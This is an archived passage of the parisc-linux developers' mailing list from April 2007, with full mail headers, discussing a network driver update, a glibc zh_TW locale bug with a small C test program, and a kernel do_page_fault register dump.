Xref: news.gmane.org gmane.linux.ports.parisc:24486

On Sat, Apr 21, 2007 at 04:14:19PM +0200, Helge Deller wrote:
> Tests sucessfully passed on my B160L :-)

thanks for testing.

I did some more changes, so I could use it wie coherent dma memory on
the SNI machines (otherwise I would have to pad all descriptors to
64bytes, because of the 64 byte L2 cacheline size on the R4400 bases
machines). I've testet this version on my B132L and it's working like
the unmodified driver.

> > Are there any other things, which should be improved in the driver,
> > before I'm going to submit this driver ?
> 
> Some basic ethtool support would be a nice-to-have.
> E.g. name/driver name/Available speeds/link up&down/...

no problem, as there are basically static values. Even link detection
would be more or less a "return some_old_state", because the hardware
does only link monitoring during transmits.

My current plan is to submit the changes for inclusion into 2.6.22 and
do enhancments after that.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA glibc nls bug
Date: Sun, 22 Apr 2007 11:43:45 -0400 (EDT)
Lines: 78
Approved: news@gmane.org
Message-ID: <200704221543.l3MFhjVi015765__15094.3380351693$1416624340$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440704220718o7eeeaf1u1e3c4841fa47e5ec@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624340 23621 80.91.229.3 (22 Nov 2014 02:45:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2007 15:43:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 22 Apr 2007 17:43:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C3637DBB6;
	Sun, 22 Apr 2007 09:43:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26395-04; Sun, 22 Apr 2007 09:43:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D40E37DBB7;
	Sun, 22 Apr 2007 09:43:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 878A17DBB5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Apr 2007 09:43:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26395-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Apr 2007 09:43:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B48F57DBB4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Apr 2007 09:43:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l3MFhjZd015766;
	Sun, 22 Apr 2007 11:43:45 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l3MFhjVi015765;
	Sun, 22 Apr 2007 11:43:45 -0400 (EDT)
In-Reply-To: <119aab440704220718o7eeeaf1u1e3c4841fa47e5ec@mail.gmail.com> from
	"Carlos O'Donell" at Apr 22, 2007 10:18:20 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: j7ANbhOwLi5n1PfRZWtpjQRjZml1ZJhb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24487

I has to change the printf slightly.

#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <langinfo.h>
#include <wchar.h>
int
main ()
{
  const char *ls = "zh_TW";
  locale_t loc;
  char *nl;
  int i;
  loc = newlocale (1 << LC_ALL, ls, 0);
  if (loc == NULL) return 1;
  nl = nl_langinfo_l (_NL_WD_FMT, loc);
  if (nl == NULL) return 1;
  for (i = 0; i < 16; i++)
    printf ("%02x", (unsigned char) nl[i]);
  printf ("\n");
  return 0;
}

> gcc -O0 -Wall -pedantic -g3 -D_GNU_SOURCE -o wchart wchart.c
> 
> On x86:
> 2500000059000000745e000025000000
> 
> On parisc:
> 000000250000005900005e7400000025

> I don't see any difference other than byte ordering?
> What are you seeing?

x86:
7f890000435100002500000059000000

parisc:
000000250000005900005e7400000025

If I extend the x86 printf to 24 bytes:
7f890000435100002500000059000000745e000025000000

The x86 result was done on a relatively old system (Suse).  Was
your x86 test done on a Debian system? 

This started as GCC PR 31413:
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=31413

The 4.cc test fails because this wchar string isn't being correctly
processed:

  const wchar_t wstr[] = { 0x897f, 0x5143, L'2', L'0', L'0', L'3',
			   0x5e74, L'1', L'2', 0x6708, L'1', L'7',
			   0x65e5 , 0x0 };

Note the first two values are the same as my x86 system returns.

Paolo said in comment 2 of the PR that all other linux systems are fine.
However, your x86 results would seem to indicate otherwise.

There does seem to be some assumptions being made about the alignment
of the pointers.  nl_langinfo_l returns a char * and not a wchar_t *.

The issue is clearly in newlocale.  nl_langinfo_l just returns
a pointer that was previously setup.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA glibc nls bug
Date: Sun, 22 Apr 2007 12:15:49 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200704221615.l3MGFndK016423__18502.8496700854$1416624340$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440704220854x34f07f78geb80b07647efd4f8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624340 23623 80.91.229.3 (22 Nov 2014 02:45:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2007 16:16:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 22 Apr 2007 18:16:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2182E7DBCD;
	Sun, 22 Apr 2007 10:16:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26809-08; Sun, 22 Apr 2007 10:15:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA3BA7DBCF;
	Sun, 22 Apr 2007 10:15:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 191277DBCC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Apr 2007 10:15:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26809-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Apr 2007 10:15:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 471CD7DBC6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Apr 2007 10:15:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l3MGFoSL016424;
	Sun, 22 Apr 2007 12:15:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l3MGFndK016423;
	Sun, 22 Apr 2007 12:15:49 -0400 (EDT)
In-Reply-To: <119aab440704220854x34f07f78geb80b07647efd4f8@mail.gmail.com>
	from "Carlos O'Donell" at Apr 22, 2007 11:54:13 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cfAeLlB9ZDI4y7HGdWY2Y+txemhmY8EE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24488

> > This started as GCC PR 31413:
> > http://gcc.gnu.org/bugzilla/show_bug.cgi?id=31413
> >
> > The 4.cc test fails because this wchar string isn't being correctly
> > processed:
> >
> >   const wchar_t wstr[] = { 0x897f, 0x5143, L'2', L'0', L'0', L'3',
> >                            0x5e74, L'1', L'2', 0x6708, L'1', L'7',
> >                            0x65e5 , 0x0 };
> >
> > Note the first two values are the same as my x86 system returns.
> 
> Yes, that means my x86 and hppa debian boxes are broken.

Etch/stable is also broken.  Could this problem be present in the
upstream glibc sources as well?

> What do you think could be the problem?
> 
> > The issue is clearly in newlocale.  nl_langinfo_l just returns
> > a pointer that was previously setup.
> 
> newlocale calls nl_langinfo_l to fill in some structures. So it could
> still be a problem with nl_langinfo_l.

I think it will do this if the locale has already been setup.  When
a new locale needs to be setup, it malloc's some memory and sets up
the strings and pointers.

Yesterday, I was looking for something PA specific and not having
much success.  Now that we know that this is a generic problem, I would
file a Debian PR and look through recent changes to the locale files.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA glibc nls bug
Date: Sun, 22 Apr 2007 12:33:41 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200704221633.l3MGXfI9016785__18633.8669890121$1416624341$gmane$org@hiauly1.hia.nrc.ca>
References: <200704221615.l3MGFndK016423@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624341 23626 80.91.229.3 (22 Nov 2014 02:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2007 16:33:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 22 Apr 2007 18:33:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E3AE7DBC6;
	Sun, 22 Apr 2007 10:33:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27031-09; Sun, 22 Apr 2007 10:33:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD1967DBC9;
	Sun, 22 Apr 2007 10:33:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD8717DBC4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Apr 2007 10:33:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27031-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Apr 2007 10:33:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EBAB67DBB9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Apr 2007 10:33:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l3MGXgtP016786;
	Sun, 22 Apr 2007 12:33:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l3MGXfI9016785;
	Sun, 22 Apr 2007 12:33:41 -0400 (EDT)
In-Reply-To: <200704221615.l3MGFndK016423@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Apr 22, 2007 12:15:49 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QbcTc4AQbmw7m62HZzdLMe1HUzc4clGw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24489

> Yesterday, I was looking for something PA specific and not having
> much success.  Now that we know that this is a generic problem, I would
> file a Debian PR and look through recent changes to the locale files.

+  * Add patches/localedata/locale-zh_TW.diff: Remove <U897F><U5143> from
+    dates.  Thanks Dan Jacobson (Closes: #352600)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] do_page_fault
Date: Tue, 24 Apr 2007 05:41:19 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <5b2e36650704240241r58da9af2x5b602b2efa0e43ba__36084.1650552631$1416624341$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624341 23629 80.91.229.3 (22 Nov 2014 02:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:41 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2007 09:41:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 24 Apr 2007 11:41:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 594B47DB3B;
	Tue, 24 Apr 2007 03:41:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14545-07; Tue, 24 Apr 2007 03:41:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF1D27DB42;
	Tue, 24 Apr 2007 03:41:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82AD17DB3A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 03:41:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14545-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 03:41:20 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.225])
	by free.linux.hp.com (Postfix) with ESMTP id BCA5B7DB39
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 03:41:20 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i4so2127695wra
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 02:41:20 -0700 (PDT)
Original-Received: by 10.115.17.1 with SMTP id u1mr2941358wai.1177407679626;
	Tue, 24 Apr 2007 02:41:19 -0700 (PDT)
Original-Received: by 10.114.126.12 with HTTP; Tue, 24 Apr 2007 02:41:19 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r7xGLgIMTlIvl7eQeGhrvolGU2poZZnv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24490

I've googled a bit and am having trouble finding a guide to interpret
a do_page_fault message.  Are these the result of a userspace app
behaving poorly?  I'm going to try and reduce this to a test case over
the next few days.

do_page_fault() pid=21916 command='gij-4.1.bin' type=15 address=0x00000004

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  000000ff0004ff0f 0000000042cdded8 0000000041655863 0000000042dc4030
r04-07  0000000042c5ced8 0000000042dc4030 0000000042e16600 0000000042e0e198
r08-11  00000000402fe690 000000004014da80 00000000402f5680 0000000040630460
r12-15  0000000042e165a0 0000000040391000 00000000c0381308 000000004036cf88
r16-19  000000004036d308 0000000000000000 0000000000000000 0000000042c5ced8
r20-23  0000000000000043 00000000400f93b0 0000000041655834 0000000000000800
r24-27  0000000000000000 0000000000000001 0000000042d93fc4 0000000000011a74
r28-31  0000000000000000 0000000000000800 00000000c0382180 0000000041bff5bb
sr00-03  0000000000892800 0000000000892800 0000000000000000 0000000000892800
sr04-07  0000000000892800 0000000000892800 0000000000892800 0000000000892800

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00001000000010001000000000000000
FPER1: 00000000
fr00-03  0808800000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  4024000000000000 3fe6e2ffbde423e5 3f400000d2400000 3ff0000000000000
fr08-11  0000000000000028 00000000f000024c 0000000040541380 0000000000000802
fr12-15  42c5ced80000000b 0000000000000001 42e24000404a01d8 42c5ced8455c4108
fr16-19  fffffffffffff000 0000000000000000 0000000000000802 00000000405a1000
fr20-23  00000000455c4398 0000000040541380 42d4ce0013b13bb5 000002bb00000000
fr24-27  0000000600000000 00000000000225e8 5eb15c1bc135d057 14bb70f5e181fefc
fr28-31  5eb15c1b9efa484d 7c39793785daed7c 5eb15c1b455c4398 ec0fba0d40541380

IASQ: 0000000000892800 0000000000892800 IAOQ: 000000004165586f 0000000041655873
 IIR: 0f881083    ISR: 0000000000892800  IOR: 0000000000000004
 CPU:        0   CR30: 0000000114bc0000 CR31: 0000000040500000
 ORIG_R28: 0000000000000002
 IAOQ[0]: 0x4165586c
 IAOQ[1]: 0x41655870
 RP(r2): 0x41655860


-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] do_page_fault
Date: Tue, 24 Apr 2007 13:15:52 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <462DE6E8.10004__22982.2943256751$1416624341$gmane$org@web.de>
References: <5b2e36650704240241r58da9af2x5b602b2efa0e43ba@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624341 23632 80.91.229.3 (22 Nov 2014 02:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2007 11:16:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 24 Apr 2007 13:16:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 402007DB52;
	Tue, 24 Apr 2007 05:16:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15378-05; Tue, 24 Apr 2007 05:16:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0C597DB4C;
	Tue, 24 Apr 2007 05:16:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A93A87DB4A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 05:16:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15128-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 05:16:00 -0600 (MDT)
Original-Received: from mailgate.urz.tu-dresden.de (RKS35.urz.tu-dresden.de
	[141.30.66.165])
	by free.linux.hp.com (Postfix) with ESMTP id CDD927DB46
